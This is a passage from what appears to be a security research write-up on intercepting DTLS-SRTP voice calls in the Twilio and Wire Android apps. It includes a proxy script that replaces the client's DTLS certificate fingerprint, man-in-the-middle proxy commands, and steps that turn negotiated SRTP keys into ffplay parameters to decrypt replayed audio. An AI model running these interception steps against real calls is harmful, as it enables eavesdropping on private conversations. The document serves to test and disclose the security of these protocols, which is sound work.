&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pub:<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 04:6d:49:e5:56:72:f8:f3:13:34:94:ae:a2:0e:11:<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; dc:a9:a1:6e:62:1e:8c:e6:59:80:f3:6d:c6:42:5c:<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 22:e6:c9:20:83:ba:f2:49:1d:18:ad:38:a6:5f:d1:<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 7a:2b:d9:03:08:9b:bf:ef:39:96:94:f8:b2:6f:fd:<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 44:15:61:2d:93<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ASN1 OID: prime256v1<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; NIST CURVE: P-256<br /> &nbsp; &nbsp; Signature Algorithm: ecdsa-with-SHA256<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;30:44:02:20:1e:5d:99:c5:9b:c9:9e:b1:ee:bb:64:fd:30:86:<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;c2:70:be:72:61:8e:fe:6d:bf:23:8d:da:87:91:e8:7e:c9:ad:<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;02:20:77:f6:27:ce:ec:87:8e:e6:28:ab:df:e7:13:70:12:d9:<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;8b:31:7c:84:3e:a5:37:88:f5:32:fd:1c:52:55:3f:7a</div></div> <p>However, we noted that there is a requirement for private key used along with the certificate. It has to be generated with <code>prime256v1</code> elliptic curve. This was a practical observation and the default curve used by GnuTLS.</p> <p>For now we left the certificate and the corresponding private key hardcoded in our DTLS server. If we spot cases when client verifies certificate parameters other than fingerprint, we will add the corresponding test to our <a rel="noopener noreferrer" target="_blank" href="https://github.com/gremwell/qsslcaudit">qsslcaudit</a> tool.</p> <h4><a id="user-content-putting-it-all-together" href="#putting-it-all-together" name="putting-it-all-together" class="heading-permalink" aria-hidden="true" title="Permalink"><svg class="heading-permalink-icon" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Putting It All Together</h4> <p>As we have all the components ready, we can now test if Twilio server properly verifies client's DTLS certificate.</p> <p>When our test application received the incoming voice call, our <code>viproxy</code> instance intercepted several SIP messages and determined remote DTLS-SRTP endpoint. Knowing its address, the proxy launched DTLS-SRTP multiplexing tool. This tool transparently forwarded all packets, except for DTLS. The latter was redirected to our DTLS server which terminated the connection.</p> <p>Communications diagram:</p> <p><img src="https://www.gremwell.com/sites/default/files/dtls-srtp-data/diag1.png" alt="img" /></p> <p>Surprisingly our DTLS server returned negotiated SRTP keys:</p> <div class="geshifilter"><div class="text geshifilter-text" style="font-family:monospace;">Client key: 20b55cc952afc019b88e6bf2b938f465<br /> Client salt: 52537c2d1142be963ceeb89f3917<br /> Server key: 7a0c83f7bc03832ca37ba97bd6e0e111<br /> Server salt: 9d1a8e282f6e66a83a77e25512d0</div></div> <p>Wireshark captured the following DTLS handshake:</p> <p><img src="https://www.gremwell.com/sites/default/files/dtls-srtp-data/twilio_incoming2_dtls.png" alt="img" /></p> <p>As can be seen in the screenshot, there is no DTLS alert message. Did we successfully spoofed the client? (Un)fortunately, no: immediately after this handshake, the server sent SIP BYE message:</p> <div class="geshifilter"><div class="text geshifilter-text" style="font-family:monospace;">BYE sip:VoiceSDK@78.23.55.64:38166;ob;transport=tls SIP/2.0<br /> CSeq: 1 BYE<br /> From: &lt;sip:chunderm.gll.twilio.com:443;transport=tls&gt;;tag=32934414_6772d868_c358fa1f-bffa-4081-8470-9fa6ff46176d<br /> To: &lt;sip:VoiceSDK@chunderm.gll.twilio.com&gt;;tag=01ed5987<br /> Call-ID: oc1h_oktbATMC4pHJ-kkpQ..<br /> Max-Forwards: 69<br /> User-Agent: Twilio<br /> Via: SIP/2.0/TLS 35.157.205.11:443;branch=z9hG4bK6c4.566d9a05.0<br /> Via: SIP/2.0/UDP 172.21.10.120:10193;branch=z9hG4bKc358fa1f-bffa-4081-8470-9fa6ff46176d_6772d868_440-16643670738841742609<br /> X-Twilio-CallSid: CA2a489088afb6cb198c47fa45f038ff45<br /> Content-Length: 0</div></div> <p>It is the same message that was sent during normal voice call termination, no explicit error message provided. From user experience point of view, the application just stops the call.</p> <p>The corresponding error message in the application's debug log (over ADB) is not verbose at all:</p> <div class="geshifilter"><div class="text geshifilter-text" style="font-family:monospace;">03-17 09:15:13.181 12647-12647/com.twilio.voice.quickstart D/VoiceActivity: Connect failure<br /> 03-17 09:15:13.181 12647-12647/com.twilio.voice.quickstart E/VoiceActivity: Call Error: 31005, Connection error</div></div> <p>Previously enabled debug logging did not help either. However, it produced quite a lot of output, including SIP signalling messages.</p> <p>The &quot;Call Error&quot; is returned by the following hook in its Java source code:</p> <div class="geshifilter"><div class="java geshifilter-java" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000066; font-weight: bold;">void</span> onConnectFailure<span style="color: #009900;">&#40;</span>@NonNull Call call, @NonNull CallException error<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br /> &nbsp; &nbsp; setAudioFocus<span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">false</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br /> &nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span>BuildConfig.<span style="color: #006633;">playCustomRingback</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br /> &nbsp; &nbsp; &nbsp; &nbsp; SoundPoolManager.<span style="color: #006633;">getInstance</span><span style="color: #009900;">&#40;</span>VoiceActivity.<span style="color: #000000; font-weight: bold;">this</span><span style="color: #009900;">&#41;</span>.<span style="color: #006633;">stopRinging</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br /> &nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br /> &nbsp; &nbsp; Log.<span style="color: #006633;">d</span><span style="color: #009900;">&#40;</span>TAG, <span style="color: #0000ff;">&quot;Connect failure&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br /> &nbsp; &nbsp; <span style="color: #003399;">String</span> message <span style="color: #339933;">=</span> <span style="color: #003399;">String</span>.<span style="color: #006633;">format</span><span style="color: #009900;">&#40;</span><br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #003399;">Locale</span>.<span style="color: #006633;">US</span>,<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #0000ff;">&quot;Call Error: %d, %s&quot;</span>,<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; error.<span style="color: #006633;">getErrorCode</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>,<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; error.<span style="color: #006633;">getMessage</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br /> &nbsp; &nbsp; Log.<span style="color: #006633;">e</span><span style="color: #009900;">&#40;</span>TAG, message<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br /> &nbsp; &nbsp; Snackbar.<span style="color: #006633;">make</span><span style="color: #009900;">&#40;</span>coordinatorLayout, message, Snackbar.<span style="color: #006633;">LENGTH_LONG</span><span style="color: #009900;">&#41;</span>.<span style="color: #006633;">show</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br /> &nbsp; &nbsp; resetUI<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br /> <span style="color: #009900;">&#125;</span></div></div> <p>We did not identify the exact source code responsible for handling the case that emits <code>onConnectFailure()</code> event.</p> <p>In order to be confident that we did all things properly, we have to simulate the valid client's behaviour.</p> <h4><a id="user-content-spoofing-dtls-certificate-fingerprint" href="#spoofing-dtls-certificate-fingerprint" name="spoofing-dtls-certificate-fingerprint" class="heading-permalink" aria-hidden="true" title="Permalink"><svg class="heading-permalink-icon" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Spoofing DTLS Certificate Fingerprint</h4> <p>We configured our intercepting proxy to substitute mobile application's DTLS certificate fingerprint with the one that we use. This was accomplished by the following script for <code>viproxy</code> tool:</p> <div class="geshifilter"><div class="ruby geshifilter-ruby" style="font-family:monospace;"><span style="color:#008000; font-style:italic;"># replace client's certificate fingerprint</span><br /> <span style="color:#008000; font-style:italic;"># (we do not care if we substitute server's certificate too)</span><br /> <span style="color:#008000; font-style:italic;"># a=fingerprint:sha-256 1C:02:25:E....</span><br /> <span style="color:#008000; font-style:italic;">#</span><br /> <span style="color:#9966CC; font-weight:bold;">if</span> <span style="color:#0000FF; font-weight:bold;">self</span>.<span style="color:#9900CC;">index</span><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#996600;">'fingerprint:sha-256'</span><span style="color:#006600; font-weight:bold;">&#41;</span><br /> <br /> &nbsp; fprint = <span style="color:#996600;">&quot;37:BE:BB:AA:0B:14:D5:0B:A5:A5:8D:A3:7C:25:00:E9:BE:FE:89:07:C0:35:66:9F:D0:54:20:BF:48:D4:E0:0F&quot;</span><br /> <br /> &nbsp; <span style="color:#0000FF; font-weight:bold;">self</span>.<span style="color:#CC0066; font-weight:bold;">gsub!</span><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#006600; font-weight:bold;">/</span>^a=fingerprint:sha<span style="color:#006600; font-weight:bold;">-</span><span style="color:#006666;">256</span> .<span style="color:#006600; font-weight:bold;">*</span>$<span style="color:#006600; font-weight:bold;">/</span>, <span style="color:#996600;">&quot;a=fingerprint:sha-256 #{fprint}&quot;</span><span style="color:#006600; font-weight:bold;">&#41;</span><br /> <br /> &nbsp; <span style="color:#CC0066; font-weight:bold;">puts</span> <span style="color:#996600;">&quot;client's certificate fingerprint replaced&quot;</span><br /> <br /> &nbsp; <span style="color:#008000; font-style:italic;"># send packet further</span><br /> &nbsp; <span style="color:#ff3333; font-weight:bold;">:ok</span><br /> <span style="color:#9966CC; font-weight:bold;">end</span></div></div> <p>The corresponding <code>viproxy</code> commandline:</p> <div class="geshifilter"><div class="text geshifilter-text" style="font-family:monospace;">$ ./bin/viproxy -l 9090 -r 35.157.205.11:443 --l-ssl --l-sslcert chunderm.gll.twilio.com.crt \<br /> &nbsp; --l-sslkey chunderm.gll.twilio.com.pem --r-ssl \<br /> &nbsp; --resp-replace replace_run-stunproxy.rb --req-replace replace_dtls-fingerprint.rb</div></div> <p>Having such setup, we intercepted network traffic. Now the mobile client did not display any errors and we observed SRTP traffic:</p> <p><img src="https://www.gremwell.com/sites/default/files/dtls-srtp-data/twilio_incoming3_srtp.png" alt="img" /></p> <p>There is no DTLS handshake in this excerpt, as we intercepted it before it reached the mobile client.</p> <p>This means that our setup was correct. Twilio server indeed verifies the mobile client's DTLS certificate fingerprint.</p> <p>Our DTLS server negotiated the following SRTP keys:</p> <div class="geshifilter"><div class="text geshifilter-text" style="font-family:monospace;">Client key: ef8122e36bdaeef5ed84723168ea8666<br /> Client salt: 0cd646cd7ff704c309f77155f3dc<br /> Server key: 11b6d02f9be14e79a248ecdce22fc2d0<br /> Server salt: 99d5daf0d315869ec880d8b72ad8</div></div> <p>We checked if we can decrypt the intercepted SRTP traffic with these keys. We tried to use <a rel="noopener noreferrer" target="_blank" href="https://www.ffmpeg.org/ffmpeg-protocols.html#srtp">ffmpeg</a> project tools to avoid writing our own SRTP decrypt-assemble-play implementation.</p> <p>Preparing the key in <code>ffmpeg</code> format:</p> <div class="geshifilter"><div class="text geshifilter-text" style="font-family:monospace;"># client --&gt; server key<br /> $ echo &quot;11b6d02f9be14e79a248ecdce22fc2d099d5daf0d315869ec880d8b72ad8&quot; | xxd -r -p | base64<br /> EbbQL5vhTnmiSOzc4i/C0JnV2vDTFYaeyIDYtyrY<br /> # server --&gt; client key<br /> $ echo &quot;ef8122e36bdaeef5ed84723168ea86660cd646cd7ff704c309f77155f3dc&quot; | xxd -r -p | base64<br /> 74Ei42va7vXthHIxaOqGZgzWRs1/9wTDCfdxVfPc</div></div> <p>Running <code>ffmpeg</code>:</p> <div class="geshifilter"><div class="text geshifilter-text" style="font-family:monospace;">$ ffplay -srtp_in_suite AES_CM_128_HMAC_SHA1_80 -srtp_in_params 74Ei42va7vXthHIxaOqGZgzWRs1/9wTDCfdxVfPc srtp://192.168.0.176:8888</div></div> <p>We replayed SRTP traffic that was originally sent by server to our mobile application:</p> <div class="geshifilter"><div class="text geshifilter-text" style="font-family:monospace;"># tcpreplay-edit --fixcsum --srcipmap=3.122.181.212:192.168.0.222 --dstipmap=192.168.12.118:192.168.0.176 \<br /> &nbsp; --portmap=50000-55000:8888 --enet-smac=00:....:9e --enet-dmac=10:...:20 --intf1=wlan0 incoming3_srtp.pcapng</div></div> <p>For some reason, <code>ffplay</code> did not produce any output or sound. However, it printed the following errors when we used the incorrect key:</p> <div class="geshifilter"><div class="text geshifilter-text" style="font-family:monospace;">$ ffplay -srtp_in_suite AES_CM_128_HMAC_SHA1_80 -srtp_in_params EbbQL5vhTnmiSOzc4i/C0JnV2vDTFYaeyIDYtyrY srtp://192.168.0.176:8888<br /> ffplay version 4.2.2-alt1 Copyright (c) 2003-2019 the FFmpeg developers<br /> <br /> ...<br /> <br /> &nbsp; libavdevice &nbsp; &nbsp;58. &nbsp;8.100 / 58. &nbsp;8.100<br /> &nbsp; libavfilter &nbsp; &nbsp; 7. 57.100 / &nbsp;7. 57.100<br /> &nbsp; libavresample &nbsp; 4. &nbsp;0. &nbsp;0 / &nbsp;4. &nbsp;0. &nbsp;0<br /> &nbsp; libswscale &nbsp; &nbsp; &nbsp;5. &nbsp;5.100 / &nbsp;5. &nbsp;5.100<br /> &nbsp; libswresample &nbsp; 3. &nbsp;5.100 / &nbsp;3. &nbsp;5.100<br /> &nbsp; libpostproc &nbsp; &nbsp;55. &nbsp;5.100 / 55. &nbsp;5.100<br /> HMAC mismatch 0.000 fd= &nbsp; 0 aq= &nbsp; &nbsp;0KB vq= &nbsp; &nbsp;0KB sq= &nbsp; &nbsp;0B f=0/0 &nbsp; <br /> &nbsp; &nbsp; Last message repeated 1 times<br /> HMAC mismatch 0.000 fd= &nbsp; 0 aq= &nbsp; &nbsp;0KB vq= &nbsp; &nbsp;0KB sq= &nbsp; &nbsp;0B f=0/0 &nbsp; <br /> HMAC mismatch 0.000 fd= &nbsp; 0 aq= &nbsp; &nbsp;0KB vq= &nbsp; &nbsp;0KB sq= &nbsp; &nbsp;0B f=0/0 &nbsp; <br /> HMAC mismatch 0.000 fd= &nbsp; 0 aq= &nbsp; &nbsp;0KB vq= &nbsp; &nbsp;0KB sq= &nbsp; &nbsp;0B f=0/0 &nbsp; <br /> &nbsp; &nbsp; Last message repeated 1 times</div></div> <p>This confirms that the keys we obtained can indeed be used to decrypt voice traffic.</p> <h3><a id="user-content-conclusion" href="#conclusion" name="conclusion" class="heading-permalink" aria-hidden="true" title="Permalink"><svg class="heading-permalink-icon" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Conclusion</h3> <p>With this exercise we learned a bit about DTLS-SRTP protocol (defined in <a rel="noopener noreferrer" target="_blank" href="https://www.rfcreader.com/#rfc5764">RFC5764</a>) and how it is used by Twilio platform for voice communications between Android mobile clients.</p> <p>We were able to prepare the setup which allowed us to intercept various communication channels. The most important of them were the aforementioned DTLS-SRTP and SIP signalling channels. This required advanced usage of transparent TCP proxy to parse signalling data and development of following tools: <a rel="noopener noreferrer" target="_blank" href="https://github.com/gremwell/dtls-srtp-server">DTLS server</a> and <a rel="noopener noreferrer" target="_blank" href="https://github.com/gremwell/dtls-srtp-demux">SRTP-DTLS demultiplexor</a>.</p> <p>We confirmed that Twilio properly verifies the fingerprint of mobile client's DTLS certificate. Together with proper validation of SIP signalling channel security, this prevents man-in-the-middle attacks against voice communications.</p> <p>The described activity encouraged us to test other products which use DTLS-SRTP protocol. This we describe in the next section.</p> <h2><a id="user-content-wire" href="#wire" name="wire" class="heading-permalink" aria-hidden="true" title="Permalink"><svg class="heading-permalink-icon" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Wire</h2> <p>After looking into Twilio platform described above, we decided to assess other applications which use DTLS-SRTP protocol. Our fist victim was <a rel="noopener noreferrer" target="_blank" href="https://wire.com">Wire</a> platform/application. This was a lucky choice as it was a pleasure to work with an open source client which is well designed and written in clean style.</p> <p>When we initiated this assessment we began with tooling and approach developed when working on Twilio platform. However, it turned out that some alterations were required. As a result, the description you have read in the previous chapter was slightly rewritten to comply with the updated software.</p> <p>Our objective is not to fully assess Wire application but to make our understanding of media communications better, improve testing approach and corresponding software. Thus, we focused on intercepting and analysing network traffic during phone calls, keeping the rest to other researchers.</p> <h3><a id="user-content-setup" href="#setup" name="setup" class="heading-permalink" aria-hidden="true" title="Permalink"><svg class="heading-permalink-icon" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Setup</h3> <p>The application was installed on two different Android devices from <a rel="noopener noreferrer" target="_blank" href="https://play.google.com/store/apps/details?id=com.wire">Google Play</a> store. Two new accounts were created. For brevity, let's call one device and application <code>app1</code> and another one <code>app2</code>.</p> <p>The application's version at the moment was <code>3.46.890</code>:</p> <div class="geshifilter"><div class="text geshifilter-text" style="font-family:monospace;">$ adb shell dumpsys package com.wire | grep -B1 versionName<br /> &nbsp; &nbsp; versionCode=890 targetSdk=28<br /> &nbsp; &nbsp; versionName=3.46.890</div></div> <h3><a id="user-content-traffic-analysis" href="#traffic-analysis" name="traffic-analysis" class="heading-permalink" aria-hidden="true" title="Permalink"><svg class="heading-permalink-icon" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Traffic Analysis</h3> <p>We captured the traffic the application produces when making the phone call. To capture DNS requests we started the capture process before the application launch.</p> <p>We used the following setup:</p> <ul> <li> <code>app1</code> was running on the device with IP address <code>192.168.12.118</code> </li> <li> <code>app2</code> was running on another device having IP address <code>192.168.0.221</code> </li> <li>the first device was connected to <code>192.168.0.0/24</code> network via test laptop, serving as a gateway, with IP address <code>192.168.12.1</code> </li> </ul> <p>If we exclude TLS-encrypted traffic, the application starts with STUN communications between two servers:</p> <ul> <li> <code>turn04.de.prod.wire.com</code>, <code>116.203.131.31:3478</code> (both UDP and TCP)</li> <li> <code>turn03.de.prod.wire.com</code>, <code>116.203.137.142:3478</code> (both UDP and TCP)</li> </ul> <p>Both STUN channels were used to determine peer address in peer-to-peer setup (probably, for redundancy). In this case the negotiated peers were <code>192.168.0.221:55831</code> and <code>192.168.12.118:33880</code>. The endpoints were negotiated in <code>XOR-PEER-ADDRESS</code> STUN attribute. Note that these are the IP address of <code>app1</code> and <code>app2</code>. This allowed media traffic to be transmitted on the local network, without crossing the Internet.</p> <p>After defining the peer channel, the applications establish DTLS-SRTP communication with each other over <code>192.168.0.221:55831 / 192.168.12.118:33880</code>. In this channel, followed by several STUN messages, <code>app2</code> starts DTLS handshake with <code>app1</code>:</p> <p><img src="https://www.gremwell.com/sites/default/files/dtls-srtp-data/wire_stun-dtls.png" alt="img" /></p> <p>Certificate presented by DTLS server:</p> <div class="geshifilter"><div class="text geshifilter-text" style="font-family:monospace;">$ openssl x509 -text -noout -in wire_outgoing-call1_app1.cert<br /> Certificate:<br /> &nbsp; &nbsp; Data:<br /> &nbsp; &nbsp; &nbsp; &nbsp; Version: 3 (0x2)<br /> &nbsp; &nbsp; &nbsp; &nbsp; Serial Number:<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; d3:50:43:ba:f1:bd:2f:e4<br /> &nbsp; &nbsp; &nbsp; &nbsp; Signature Algorithm: ecdsa-with-SHA256<br /> &nbsp; &nbsp; &nbsp; &nbsp; Issuer: CN = WebRTC<br /> &nbsp; &nbsp; &nbsp; &nbsp; Validity<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Not Before: Mar 17 09:18:28 2020 GMT<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Not After : Apr 17 09:18:28 2020 GMT<br /> &nbsp; &nbsp; &nbsp; &nbsp; Subject: CN = WebRTC<br /> &nbsp; &nbsp; &nbsp; &nbsp; Subject Public Key Info:<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Public Key Algorithm: id-ecPublicKey<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Public-Key: (256 bit)<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pub:<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 04:d7:26:d1:fe:00:f2:28:f0:95:44:f4:b5:f6:eb:<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 62:95:49:66:e6:57:83:3a:a5:76:5c:c7:22:b9:93:<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; a5:f3:cc:79:f9:68:c6:62:30:3e:f6:3e:33:63:68:<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; fb:aa:ec:4c:2f:83:b4:85:1e:f0:78:19:72:fc:39:<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 9c:18:8d:73:3e<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ASN1 OID: prime256v1<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; NIST CURVE: P-256<br /> &nbsp; &nbsp; Signature Algorithm: ecdsa-with-SHA256<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;30:46:02:21:00:a6:33:62:fe:2e:32:63:3f:47:33:ec:2f:85:<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;0c:1e:94:f4:24:36:07:f1:70:d7:e9:01:7a:e5:d0:96:99:ed:<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;db:02:21:00:bc:de:98:a3:88:f6:a9:bf:55:75:a3:70:9c:5c:<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;27:f3:c2:25:ca:8f:64:a2:a7:10:47:35:59:90:63:a7:90:fb</div></div> <p>We also noted that after initial handshake there were several data packets transmitted inside DTLS channel. Then SRTP flow starts with the first packet from <code>app2</code>:</p> <p><img src="https://www.gremwell.com/sites/default/files/dtls-srtp-data/wire_dtls-srtp.png" alt="img" /></p> <p>When we initiated the similar call once more after relaunching the application, we noted that initial STUN communications were established with the same servers. The DTLS certificate presented by <code>app1</code> was different:</p> <div class="geshifilter"><div class="text geshifilter-text" style="font-family:monospace;">$ openssl x509 -text -noout -in wire_outgoing-call2_app1.cert<br /> Certificate:<br /> &nbsp; &nbsp; Data:<br /> &nbsp; &nbsp; &nbsp; &nbsp; Version: 3 (0x2)<br /> &nbsp; &nbsp; &nbsp; &nbsp; Serial Number:<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 94:db:c9:6b:ef:06:88:d2<br /> &nbsp; &nbsp; &nbsp; &nbsp; Signature Algorithm: ecdsa-with-SHA256<br /> &nbsp; &nbsp; &nbsp; &nbsp; Issuer: CN = WebRTC<br /> &nbsp; &nbsp; &nbsp; &nbsp; Validity<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Not Before: Mar 17 10:21:47 2020 GMT<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Not After : Apr 17 10:21:47 2020 GMT<br /> &nbsp; &nbsp; &nbsp; &nbsp; Subject: CN = WebRTC<br /> &nbsp; &nbsp; &nbsp; &nbsp; Subject Public Key Info:<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Public Key Algorithm: id-ecPublicKey<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Public-Key: (256 bit)<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pub:<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 04:99:6b:45:17:c4:2c:b0:c3:82:95:c6:43:c0:8a:<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 65:74:e0:5e:75:c3:82:4b:2f:01:aa:e4:09:d5:67:<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 4e:b3:46:bf:83:da:8b:70:db:d2:79:8e:16:a8:13:<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; bc:89:29:36:60:e1:4b:a1:24:d0:93:83:fe:72:47:<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; f3:25:e3:5e:71<br /> &nbsp; &nbsp; 